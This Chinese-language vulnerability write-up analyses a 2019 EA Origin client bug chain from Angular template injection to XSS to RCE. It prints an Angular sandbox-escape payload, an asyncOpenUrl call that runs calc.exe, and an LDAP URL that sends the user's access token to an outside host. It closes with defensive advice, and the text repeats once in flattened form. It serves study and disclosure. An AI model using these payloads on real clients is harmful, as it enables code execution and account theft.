EA Origin Client Vuln - 从XSS到RCE
字数 1252 2025-08-26 22:11:45

EA Origin客户端漏洞分析:从XSS到RCE

0x01 概述

本文详细分析EA Origin客户端中发现的多个安全漏洞,包括模板注入、XSS(跨站脚本)和RCE(远程代码执行)漏洞。这些漏洞由安全研究人员Hulk和Daley在2019年4月发现,影响Origin客户端的安全机制。

0x02 Origin调试方法

Origin客户端使用QtWebEngine(基于Chromium内核的浏览器框架)构建,可通过以下方法进行调试:

  1. 启用远程调试

    Origin.exe --remote-debugging-port=31337
    
  2. 使用Chrome DevTools连接

    • 在Chrome地址栏输入:chrome://inspect
    • 打开远程设备视图
    • 配置端口转发到31337端口
    • 访问localhost:31337即可调试Origin进程

0x03 Origin URL处理机制

Origin使用自定义URL处理器来实现特定功能,例如启动游戏:

origin://game/launch/?offerIds=OFFERID

这种URL处理机制成为漏洞的切入点。

0x04 漏洞分析

Bug#1: 模板注入漏洞

漏洞位置:游戏启动URL的title参数

利用方式

  1. 构造无效游戏ID请求:

    origin://game/launch/?offerIds=0&title=zer0pwn
    
  2. 测试HTML注入:

    origin://game/launch/?offerIds=0&title=<h1>zer0pwn
    
  3. 确认Angular模板注入:

    origin://game/launch/?offerIds=0&title={{7*7}}
    

    返回结果为49,证实存在模板注入漏洞。

Bug#2: XSS漏洞

利用方式
由于Angular的沙盒限制,需要使用特殊payload绕过:

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(l),a')}}

此payload可实现JavaScript执行,弹出alert窗口。

Bug#3: 远程代码执行(RCE)

漏洞原理
Origin暴露了Origin.client.desktopServices接口,其中asyncOpenUrl()函数可调用Qt的QDesktopService.OpenUrl功能。

利用方式

Origin.client.desktopServices.asyncOpenUrl("calc.exe")

此payload可在受害者机器上执行计算器程序。

数据泄露方法
结合LDAP协议可泄露敏感信息:

"ldap://safe.tld/o="+Origin.user.accessToken()+",c=UnderDog"

可获取的用户信息

  • accessToken(): 用户访问令牌
  • email(): 用户邮箱
  • sessionGUID(): 会话GUID
  • userGUID(): 用户GUID
  • 以及其他个人信息如国家、出生日期等

0x05 漏洞影响

  1. 攻击场景

    • 诱导用户点击特制链接
    • 通过XSS窃取用户会话和敏感信息
    • 执行任意系统命令
  2. 潜在危害

    • 完全控制用户系统
    • 窃取Origin账户及关联的EA账户
    • 横向移动攻击内网其他系统

0x06 防御建议

  1. 输入验证

    • 对所有用户输入进行严格过滤
    • 特别处理Angular模板中的特殊字符
  2. 安全配置

    • 限制QDesktopServices的功能
    • 实现更严格的CSP策略
  3. 权限控制

    • 减少暴露给客户端的API接口
    • 对敏感操作增加二次验证
  4. 更新与补丁

    • 及时应用EA发布的安全更新
    • 监控官方安全公告

0x07 总结

本案例展示了现代客户端应用程序中常见的安全问题链:
模板注入 → XSS → RCE。它强调了即使是知名厂商的软件也可能存在严重的安全隐患,以及深度防御策略的重要性。

EA Origin客户端漏洞分析:从XSS到RCE 0x01 概述 本文详细分析EA Origin客户端中发现的多个安全漏洞,包括模板注入、XSS(跨站脚本)和RCE(远程代码执行)漏洞。这些漏洞由安全研究人员Hulk和Daley在2019年4月发现,影响Origin客户端的安全机制。 0x02 Origin调试方法 Origin客户端使用QtWebEngine(基于Chromium内核的浏览器框架)构建,可通过以下方法进行调试: 启用远程调试 : 使用Chrome DevTools连接 : 在Chrome地址栏输入: chrome://inspect 打开远程设备视图 配置端口转发到31337端口 访问 localhost:31337 即可调试Origin进程 0x03 Origin URL处理机制 Origin使用自定义URL处理器来实现特定功能,例如启动游戏: 这种URL处理机制成为漏洞的切入点。 0x04 漏洞分析 Bug#1: 模板注入漏洞 漏洞位置 :游戏启动URL的 title 参数 利用方式 : 构造无效游戏ID请求: 测试HTML注入: 确认Angular模板注入: 返回结果为49,证实存在模板注入漏洞。 Bug#2: XSS漏洞 利用方式 : 由于Angular的沙盒限制,需要使用特殊payload绕过: 此payload可实现JavaScript执行,弹出alert窗口。 Bug#3: 远程代码执行(RCE) 漏洞原理 : Origin暴露了 Origin.client.desktopServices 接口,其中 asyncOpenUrl() 函数可调用Qt的 QDesktopService.OpenUrl 功能。 利用方式 : 此payload可在受害者机器上执行计算器程序。 数据泄露方法 : 结合LDAP协议可泄露敏感信息: 可获取的用户信息 : accessToken() : 用户访问令牌 email() : 用户邮箱 sessionGUID() : 会话GUID userGUID() : 用户GUID 以及其他个人信息如国家、出生日期等 0x05 漏洞影响 攻击场景 : 诱导用户点击特制链接 通过XSS窃取用户会话和敏感信息 执行任意系统命令 潜在危害 : 完全控制用户系统 窃取Origin账户及关联的EA账户 横向移动攻击内网其他系统 0x06 防御建议 输入验证 : 对所有用户输入进行严格过滤 特别处理Angular模板中的特殊字符 安全配置 : 限制 QDesktopServices 的功能 实现更严格的CSP策略 权限控制 : 减少暴露给客户端的API接口 对敏感操作增加二次验证 更新与补丁 : 及时应用EA发布的安全更新 监控官方安全公告 0x07 总结 本案例展示了现代客户端应用程序中常见的安全问题链: 模板注入 → XSS → RCE。它强调了即使是知名厂商的软件也可能存在严重的安全隐患,以及深度防御策略的重要性。